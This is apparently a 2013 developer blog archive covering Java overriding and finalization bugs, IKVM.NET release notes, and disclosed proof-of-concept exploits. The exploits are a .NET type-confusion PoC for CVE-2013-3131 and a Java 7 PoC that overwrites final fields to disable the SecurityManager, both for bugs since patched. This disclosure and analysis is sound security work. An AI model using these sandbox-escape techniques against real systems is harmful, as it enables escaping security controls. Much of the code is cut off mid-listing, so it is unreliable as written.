# Tuesday, 29 October 2013
Java Method Overriding Is FUBAR Part 8 of ∞

Due to my laziness and lameness my previous post wasn't as convincing as it should have been, so I'm going to try again.

Take this code:

class A {
  public static void main(String[] args) {
    A obj = new B();
    obj = null;

  protected void finalize() {

class B extends A {
  private void fin_lize() {

Compile this and patch B.class to replace fin_lize with finalize.

What is the expected output of this program? In my opinion it is:


This is also the output that both JDK 1.1 and IKVM.NET give. However, on JDK 1.5 and up the output is:


This did not change in the 7u45 update.

To me the above is already enough to obviously demonstrate the problem, but since I'm apparently somewhat atypical I'm going to try to explain a bit more carefully.

  1. The Java 7 vmspec claims that private methods can override base class methods.
  2. JVMS section 5.4.5. Method overriding was added in the Java 7 edition of the JVMS. It is clearly incorrect as it disagrees with both previous and current behavior of all known JVMs.
  3. Given that private methods do not in fact override any methods, the check for final base class methods that was introduced in 7u45 is bogus.
  4. What should have been fixed in 7u45 is the native code that calls the finalize method, as it clearly needs to do a virtual invocation of Object.finalize() not call the private B.finalize method.

I hope I've done a better job now of making clear way the 7u45 update is bogus, the JVMS spec change is wrong and that finalization still needs to be fixed.

Tuesday, 29 October 2013 13:53:34 (W. Europe Standard Time, UTC+01:00)  #    Comments [1]
# Thursday, 17 October 2013
Java Method Overriding Is FUBAR Part 7 of ∞

My friends at Oracle seem determined to make me finish my infinite series of blog posts of Java method overriding.

Before the 7u45 security update the following (pseudo) code ran fine:

class A {
  final void m() { }

class B extends A {
  private void m() { }

Now with 7u45, loading class B throws an exception:

java.lang.VerifyError: class B overrides final method m.()V

This makes no sense at all and is a misguided attempt to fix the issue I reported here. Ironically, it doesn't even completely fix the issue, because a static finalize method still prevents the final finalizer from running:

class A {
  protected void finalize() {

class B extends A {
  public static void main(String[] args) {
    new B();

  private static void finalize() { }

Pre-emptive comment about comments: Feel free to leave comments, but I'm not going to respond to people that clearly don't have a clue.

Update: I misread the spec. The change is actually in line with the spec. Unfortunately the spec is wrong.

Thursday, 17 October 2013 09:33:48 (W. Europe Daylight Time, UTC+02:00)  #    Comments [8]
# Wednesday, 10 July 2013
Type Confusion PoC for CVE-2013-3131 (MS13-052)

I did not discover this vulnerability (Alon Fliess filed the (public) bug report), but I decided to investigate it and write a PoC exploit:

using System;
using System.Runtime.CompilerServices;

struct Foo {
  byte b1, b2, b3;

class U1 { }
class U2 { }

struct StackFields {
  internal object f1;
  internal U1 f2;
  internal U2 f3;

class Program {
  long field1;
  long field2;

  static void Main() {
    new Program().Get(new Foo[1, 1]);

  object Get(T[,] arr) {
    StackFields fields = new StackFields();
    fields.f1 = new U1();
    fields.f2 = new U1();
    fields.f3 = new U2();
    object v = arr[0, 0];
    field2 = field1;
    return v;

This requires .NET 4.5 x64 (and must be built/run in release mode).

The bug is that the array accessor that is generated clobbers the RSI and RDI registers.

Wednesday, 10 July 2013 13:05:47 (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]
# Thursday, 30 May 2013
Overriding a Final Finalize

Compile the following code:

class Base {
  protected final void finalize() {

class Derived extends Base {
  private void fin_lize() {

  public static void main(String[] args) {
    new Derived();

Now patch Derived.class with a hex editor to change fin_lize to finalize. Run with OpenJDK or Oracle JRE/JDK and observe that Derived.finalize is printed.

This happens because the finalize method is called via JNI reflection and the method name is resolved against the real object type instead of java.lang.Object. The OpenJDK code can be seen here.

A better way to do this would be to add an invokeFinalize method to JavaLangAccess. This avoids the expense of native code and reflection.

Thursday, 30 May 2013 16:11:44 (W. Europe Daylight Time, UTC+02:00)  #    Comments [14]
# Thursday, 18 April 2013
The End of ACC_SUPER

Yesterday I wrote about the security issue fixed in Update 21. Today I'll describe the "Security-In-Depth" issue.

As a result of the Thread Cloning Vulnerability, Oracle removed honoring the absense of ACC_SUPER from HotSpot in Update 13. The HotSpot patch can be seen here.

Again, while working on IKVM's dynamic binding, I found that it was still possible to do a non-virtual invocation of an overridden method by using a MethodHandle. This was fixed in Update 21.

Here's an example that uses Indify to generate the MethodHandle constants and manages to call Object.clone() on a Thread object on Update 13:

import java.lang.invoke.*;

class test extends Thread implements Cloneable {
  public static void main(String[] args) throws Throwable {
    test obj = new test();
    System.out.println(obj == MH_1().invokeExact(obj));

  private static MethodHandle MH_1() throws Throwable {
    return MethodHandles.lookup().findSpecial(Object.class, "clone", MethodType.methodType(Object.class), test.class);

You can compile and run this without Indify and it will show the problem (on versions before Update 21), but you need to run Indify to make it work with an active SecurityManager.

The difference between looking up method handles via the API versus using MethodHandle constants is analogous to the difference between normal bytecode method invocation and classic reflection. When going via the API the SecurityManager is involved, but the runtime linker does not call the SecurityManager. MethodHandle constants (when they are properly implemented) don't allow you to do anything that normal bytecode can't do. This is why the claim made by Security Explorations about Issue 54 was incorrect.

Thursday, 18 April 2013 08:55:58 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Wednesday, 17 April 2013
Java 7 Update 21

While I was working on rewriting IKVM's dynamic binding support based on method handles I stumbled into a rather serious bug in the Oracle Java implementation. It allowed any code to overwrite public final fields. This has been fixed in Update 21.

Below is a proof of concept that disables the security manager. It works by changing Double.TYPE to Integer.TYPE and then using reflection to copy an integer field from one object to another, but because of the patched TYPE fields reflection thinks the integer field is a double and copies 8 bytes instead of 4.

import java.lang.invoke.MethodHandle;
import java.lang.reflect.Field;
import static java.lang.invoke.MethodHandles.lookup;

class Union1 {
  int field1;
  Object field2;

class Union2 {
  int field1;
  SystemClass field2;

class SystemClass {
  Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,

class PoC {
  public static void main(String[] args) throws Throwable {

  static void disableSecurityManager() throws Throwable {
    MethodHandle mh1, mh2;
    mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class);
    mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class);
    Field fld1 = Union1.class.getDeclaredField("field1");
    Field fld2 = Union2.class.getDeclaredField("field1");
    Class classInt = int.class;
    Class classDouble = double.class;
    Union1 u1 = new Union1();
    u1.field2 = System.class;
    Union2 u2 = new Union2();
    fld2.set(u2, fld1.get(u1));
    if (u2.field2.f29 == System.getSecurityManager()) {
      u2.field2.f29 = null;
    } else if (u2.field2.f30 == System.getSecurityManager()) {
      u2.field2.f30 = null;
    } else {
      System.out.println("security manager field not found");
Wednesday, 17 April 2013 08:00:08 (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]
# Thursday, 28 March 2013
IKVM.NET 7.3 Release Candidate 0

The first release candidate is available. It can be downloaded here or from NuGet.

What's New (relative to IKVM.NET 7.2):

  • Greatly improved support for dynamically loading classes in statically compiled assembly class loaders.
  • Changed ikvmc to default to using runtime binding when a class is not available at compile time.
  • Fixed ikvmc to use jar class loading that matches the runtime.
  • The runtime now projects stub classes into the (virtual file system) jars they came from.
  • Runtime stub classes are now generated by the same code as ikvmstub uses.
  • Fixed a typo in ikvm.runtime.Startup.addBootClassPathAssembly() method name.
  • Fixed memory model bugs on ARM.
  • Many bug fixes.
  • Improved ikvmc error messages.
  • Deprecated using stub classes with ikvmc.
  • Added IKVM.Attributes.JavaResourceAttribute to allow .NET resource to be exposed to Java.
  • Font API improvements.
  • Graphics API improvements.
  • Support building IKVM.NET on .NET 4.5, but targetting .NET 4.0.

Changes since previous development snapshot:

  • Volatile long/double fields should not use slow reflection.
  • Reduce complexity of annotation custom attributes construction to improve performance and lower risk (for broken apps that should have used ReflectionOnly).
  • Removed accidentally public methods from ikvm.internal.AnnotationAttributeBase.
  • Fixed ikvm.internal.AnnotationAttributeBase to freeze in writeReplace/Equals/GetHashCode/ToString.

Binaries available here: ikvmbin-7.3.4830.0.zip

Sources: ikvmsrc-7.3.4830.0.zip, openjdk-7u6-b24-stripped.zip

Thursday, 28 March 2013 09:27:31 (W. Europe Standard Time, UTC+01:00)  #    Comments [8]
# Tuesday, 19 March 2013
New Development Snapshot

My burst of inspiration ended. So I guess it's time to do a release soon.


  • Expose Java 8 static interface methods as static methods via nested __Methods type.
  • Expose Java 8 default interface methods as static methods via nested __DefaultMethods type.
  • Build fix. When doing a clean build the two generated Java source files don't exist yet, so we process the .in files instead.
  • Added nuget package creation build file.

Binaries available here: ikvmbin-7.3.4826.zip

Tuesday, 19 March 2013 12:28:00 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Monday, 11 March 2013
New Development Snapshot

I'm still working on issues resulting from the big change. There are some more known issues and probably a few unknown ones. However, I couldn't help myself and decided to a little bit of work on Java 8 support. If you define the IKVM_EXPERIMENTAL_JDK_8 environment variable, you can now run Java 8 class files that use the new static and default interface method features.

There is no interop with other .NET languages yet, so you won't be able to call static interface methods from (e.g.) C# or take advantage of default interface method implementations. The interop story for default interface methods isn't going to be great even when it is done. You'll have to manually call the default methods in your C# code. Something like this:

class MyCSharpClass : SomeJavaInterface {
   public void method() {


  • Optimized some dynamic binding operations.
  • Switched dynamic field binding to method handles.
  • Removed "effectively final" optimization because it breaks the ability to dynamically load subclasses.
  • Added experimental support for static methods in interfaces (for Java 8 class files).
  • Added experimental support for default interfaces methods (for Java 8 class files).
  • Fixed an ikvmc crash when a member is accessed on a type from a missing assembly.
  • Fixed transparency artefact with AlphaComposite.Src and and anti-aliased text.
  • Bug fix. Don't implement interfaces that aren't accessible.
  • Changed TextArea peer from TextBox to RichTextBox (to handle LF correctly) and implemented replaceRange.
  • Tweaked f2i, f2l, d2i and d2l bytecodes to be a bit faster in the common case.

Binaries available here: ikvmbin-7.3.4817.zip

Monday, 11 March 2013 08:35:25 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Monday, 04 March 2013
New Development Snapshot

Another week, another snapshot.


  • Fixed several annotation encoding issues in new stub class generator.
  • Added back support for exporting annotations in .NET assembly stub classes.
  • Fixed ikvmc to not add ObsoleteAttribute to deprecated types/members that already have an explicit ObsoleteAttribute annotation.
  • Fixed a typo in ikvm.runtime.Startup.addBootClassPathAssembly() method name.
  • Bug fix. .NET enums used in Java annotations were not usable from .NET custom attribute.
  • Added license headers to build scripts.
  • Made boot class package handling simpler (more OpenJDK based). The package information is now read from the manifest instead of hard coded.

Binaries available here: ikvmbin-7.3.4811.zip

Monday, 04 March 2013 09:20:59 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]